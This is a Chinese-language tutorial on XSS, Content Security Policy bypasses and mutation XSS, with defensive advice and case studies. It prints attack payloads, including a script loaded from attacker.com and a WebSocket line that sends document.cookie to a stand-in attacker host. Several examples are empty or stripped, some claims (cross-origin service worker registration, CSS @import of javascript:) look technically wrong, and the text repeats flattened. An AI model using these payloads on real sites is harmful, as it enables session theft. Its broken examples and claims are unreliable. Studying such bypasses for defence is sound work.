当XSS遇上CSP与mXSS:绕过技巧与底层逻辑
字数 2693 2025-09-23 19:27:46

当XSS遇上CSP与mXSS:绕过技巧与底层逻辑

1. XSS基础回顾

1.1 XSS类型

  • 反射型XSS:恶意脚本通过URL参数注入,服务器反射回页面执行
  • 存储型XSS:恶意脚本存储在服务器端,每次访问页面时执行
  • DOM型XSS:完全在客户端发生的XSS,不涉及服务器端处理

1.2 XSS常见注入点

  • HTML标签内容:<div>USER_INPUT</div>
  • HTML标签属性:``
  • JavaScript代码:<script>var a = "USER_INPUT";</script>
  • URL参数:<a href="USER_INPUT">click</a>
  • CSS样式:<div style="background:USER_INPUT"></div>

2. CSP防护机制与绕过

2.1 CSP基础

内容安全策略(Content Security Policy)通过HTTP头或meta标签定义:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

2.2 常见CSP指令

  • default-src:默认资源加载策略
  • script-src:控制JavaScript执行
  • style-src:控制CSS加载
  • img-src:控制图片加载
  • connect-src:控制XHR、WebSocket等连接
  • frame-src:控制iframe加载
  • font-src:控制字体加载
  • media-src:控制媒体文件加载
  • object-src:控制插件加载(如Flash)
  • base-uri:控制<base>标签使用
  • form-action:控制表单提交目标

2.3 CSP绕过技术

2.3.1 基于脚本包含的绕过

  • JSONP端点滥用:利用允许的第三方域名下的JSONP回调
    <script src="https://trusted.com/api?callback=alert(1)"></script>
    
  • AngularJS沙箱逃逸:在允许AngularJS的情况下利用模板注入
    <div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}</div>
    

2.3.2 基于非脚本执行的绕过

  • 数据URI执行:利用允许的data:协议
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
    
  • CSS注入:利用style-src不严格限制
    <style>@import url("javascript:alert(1)");</style>
    
  • SVG执行:利用SVG的脚本执行能力
    <svg/onload=alert(1)>
    

2.3.3 基于CSP配置缺陷的绕过

  • unsafe-inline:允许内联脚本时直接执行
    <script>alert(1)</script>
    
  • unsafe-eval:允许eval()等动态执行
    <script>eval('alert(1)')</script>
    
  • 通配符滥用:过于宽松的域名限制
    <script src="https://attacker.com/xss.js"></script>
    

2.3.4 基于浏览器特性的绕过

  • Service Worker注入:利用connect-src不限制Service Worker注册
    navigator.serviceWorker.register('https://attacker.com/sw.js')
    
  • WebSocket CSP不严格:利用connect-src允许的WebSocket泄露数据
    new WebSocket('wss://attacker.com').send(document.cookie)
    

3. mXSS(混合XSS)原理与利用

3.1 mXSS定义

混合XSS(Mutation XSS)是指当浏览器解析器对HTML进行规范化或修正时,原本安全的标记被转换为可执行的XSS向量。

3.2 mXSS产生原因

  1. HTML解析器与JavaScript解析器不一致
  2. DOM操作后的重新解析过程
  3. 浏览器对畸形HTML的容错处理
  4. 富文本编辑器处理逻辑缺陷

3.3 常见mXSS场景

3.3.1 属性值转标签

<div></div>

某些解析器可能将属性值中的">解释为标签结束

3.3.2 注释变异

<div><!--<img src="-->"></div>

浏览器可能错误处理注释边界

3.3.3 命名空间混淆

<svg><script>alert(1)</script></svg>

SVG命名空间中的脚本可能被不同处理

3.3.4 实体编码变异

<div>&lt;img src=x onerror=alert(1)&gt;</div>

某些DOM操作可能导致实体重新解码

3.4 mXSS利用技术

3.4.1 利用innerHTML变异

element.innerHTML = '<div><style></style></div>';

某些浏览器会重新解析导致样式标签后的内容被当作HTML

3.4.2 利用模板标签

<template><div>"></div></template>

模板内容在激活时可能发生变异

3.4.3 利用Range API

var range = document.createRange();
range.setStart(element, 0);
range.setEnd(element, 1);
range.createContextualFragment('');

Range操作可能导致解析变异

4. 高级绕过技术

4.1 基于DOM Clobbering的绕过

<form id="xss"><output name="innerHTML">alert(1)</output></form>
<script>
  xss.innerHTML // 可能被DOM Clobbering覆盖
</script>

4.2 基于原型污染的绕过

Object.prototype.onerror = function() { alert(1) };
// 后续动态创建的DOM元素可能继承此事件处理器

4.3 基于Web Components的绕过

customElements.define('xss-element', class extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({mode: 'open'}).innerHTML = '<script>alert(1)</script>';
  }
});

4.4 基于浏览器缓存的绕过

<link rel="stylesheet" href="https://victim.com/cache-poison.css">

通过缓存污染注入恶意CSS/JS

5. 防御建议

5.1 CSP最佳实践

  • 避免使用unsafe-inlineunsafe-eval
  • 限制script-src为严格白名单
  • 设置default-src 'none'并逐个开启所需资源
  • 使用nonce或hash限制内联脚本
  • 限制object-src 'none'self
  • 设置base-uri 'none'self

5.2 防mXSS建议

  • 使用textContent代替innerHTML
  • 对用户输入进行严格的上下文相关编码
  • 使用DOMPurify等专业过滤库
  • 避免在客户端进行复杂的HTML解析
  • 注意DOM操作后的重新解析风险

5.3 其他防御措施

  • 实施严格的输入验证和输出编码
  • 使用Content-Type头防止MIME混淆
  • 设置X-XSS-Protection头(尽管有限)
  • 使用Trusted Types API(现代浏览器)
  • 实施Subresource Integrity检查第三方资源

6. 案例分析

6.1 CSP绕过案例:Google相册XSS

利用AngularJS和宽松的script-src策略,通过<iframe srcdoc>执行脚本

6.2 mXSS案例:Facebook Messenger

富文本编辑器处理HTML注释时产生变异,导致存储型XSS

6.3 DOM Clobbering案例:GitHub安全漏洞

通过表单元素覆盖DOM属性,绕过前端过滤

7. 工具与资源

7.1 CSP评估工具

  • CSP Evaluator (https://csp-evaluator.withgoogle.com)
  • CSP Scanner (https://cspscanner.com)

7.2 XSS测试工具

  • XSS Hunter (https://xsshunter.com)
  • BeEF (https://beefproject.com)

7.3 过滤库

  • DOMPurify (https://github.com/cure53/DOMPurify)
  • sanitize-html (https://github.com/apostrophecms/sanitize-html)

8. 未来趋势

  • Trusted Types API:强制类型安全的前端防御
  • WASM与XSS:WebAssembly带来的新攻击面
  • SameSite Cookie的普及:对XSS利用的影响
  • 浏览器沙箱强化:如Site Isolation等防护机制
  • AI辅助的XSS检测:机器学习在防御中的应用
当XSS遇上CSP与mXSS:绕过技巧与底层逻辑 1. XSS基础回顾 1.1 XSS类型 反射型XSS :恶意脚本通过URL参数注入,服务器反射回页面执行 存储型XSS :恶意脚本存储在服务器端,每次访问页面时执行 DOM型XSS :完全在客户端发生的XSS,不涉及服务器端处理 1.2 XSS常见注入点 HTML标签内容: <div>USER_INPUT</div> HTML标签属性: `` JavaScript代码: <script>var a = "USER_INPUT";</script> URL参数: <a href="USER_INPUT">click</a> CSS样式: <div style="background:USER_INPUT"></div> 2. CSP防护机制与绕过 2.1 CSP基础 内容安全策略(Content Security Policy)通过HTTP头或meta标签定义: 2.2 常见CSP指令 default-src :默认资源加载策略 script-src :控制JavaScript执行 style-src :控制CSS加载 img-src :控制图片加载 connect-src :控制XHR、WebSocket等连接 frame-src :控制iframe加载 font-src :控制字体加载 media-src :控制媒体文件加载 object-src :控制插件加载(如Flash) base-uri :控制 <base> 标签使用 form-action :控制表单提交目标 2.3 CSP绕过技术 2.3.1 基于脚本包含的绕过 JSONP端点滥用 :利用允许的第三方域名下的JSONP回调 AngularJS沙箱逃逸 :在允许AngularJS的情况下利用模板注入 2.3.2 基于非脚本执行的绕过 数据URI执行 :利用允许的 data: 协议 CSS注入 :利用 style-src 不严格限制 SVG执行 :利用SVG的脚本执行能力 2.3.3 基于CSP配置缺陷的绕过 unsafe-inline :允许内联脚本时直接执行 unsafe-eval :允许 eval() 等动态执行 通配符滥用 :过于宽松的域名限制 2.3.4 基于浏览器特性的绕过 Service Worker注入 :利用 connect-src 不限制Service Worker注册 WebSocket CSP不严格 :利用 connect-src 允许的WebSocket泄露数据 3. mXSS(混合XSS)原理与利用 3.1 mXSS定义 混合XSS(Mutation XSS)是指当浏览器解析器对HTML进行规范化或修正时,原本安全的标记被转换为可执行的XSS向量。 3.2 mXSS产生原因 HTML解析器与JavaScript解析器不一致 DOM操作后的重新解析过程 浏览器对畸形HTML的容错处理 富文本编辑器处理逻辑缺陷 3.3 常见mXSS场景 3.3.1 属性值转标签 某些解析器可能将属性值中的 "> 解释为标签结束 3.3.2 注释变异 浏览器可能错误处理注释边界 3.3.3 命名空间混淆 SVG命名空间中的脚本可能被不同处理 3.3.4 实体编码变异 某些DOM操作可能导致实体重新解码 3.4 mXSS利用技术 3.4.1 利用innerHTML变异 某些浏览器会重新解析导致样式标签后的内容被当作HTML 3.4.2 利用模板标签 模板内容在激活时可能发生变异 3.4.3 利用Range API Range操作可能导致解析变异 4. 高级绕过技术 4.1 基于DOM Clobbering的绕过 4.2 基于原型污染的绕过 4.3 基于Web Components的绕过 4.4 基于浏览器缓存的绕过 通过缓存污染注入恶意CSS/JS 5. 防御建议 5.1 CSP最佳实践 避免使用 unsafe-inline 和 unsafe-eval 限制 script-src 为严格白名单 设置 default-src 'none' 并逐个开启所需资源 使用nonce或hash限制内联脚本 限制 object-src 'none' 或 self 设置 base-uri 'none' 或 self 5.2 防mXSS建议 使用 textContent 代替 innerHTML 对用户输入进行严格的上下文相关编码 使用DOMPurify等专业过滤库 避免在客户端进行复杂的HTML解析 注意DOM操作后的重新解析风险 5.3 其他防御措施 实施严格的输入验证和输出编码 使用Content-Type头防止MIME混淆 设置X-XSS-Protection头(尽管有限) 使用Trusted Types API(现代浏览器) 实施Subresource Integrity检查第三方资源 6. 案例分析 6.1 CSP绕过案例:Google相册XSS 利用AngularJS和宽松的 script-src 策略,通过 <iframe srcdoc> 执行脚本 6.2 mXSS案例:Facebook Messenger 富文本编辑器处理HTML注释时产生变异,导致存储型XSS 6.3 DOM Clobbering案例:GitHub安全漏洞 通过表单元素覆盖DOM属性,绕过前端过滤 7. 工具与资源 7.1 CSP评估工具 CSP Evaluator (https://csp-evaluator.withgoogle.com) CSP Scanner (https://cspscanner.com) 7.2 XSS测试工具 XSS Hunter (https://xsshunter.com) BeEF (https://beefproject.com) 7.3 过滤库 DOMPurify (https://github.com/cure53/DOMPurify) sanitize-html (https://github.com/apostrophecms/sanitize-html) 8. 未来趋势 Trusted Types API :强制类型安全的前端防御 WASM与XSS :WebAssembly带来的新攻击面 SameSite Cookie的普及 :对XSS利用的影响 浏览器沙箱强化 :如Site Isolation等防护机制 AI辅助的XSS检测 :机器学习在防御中的应用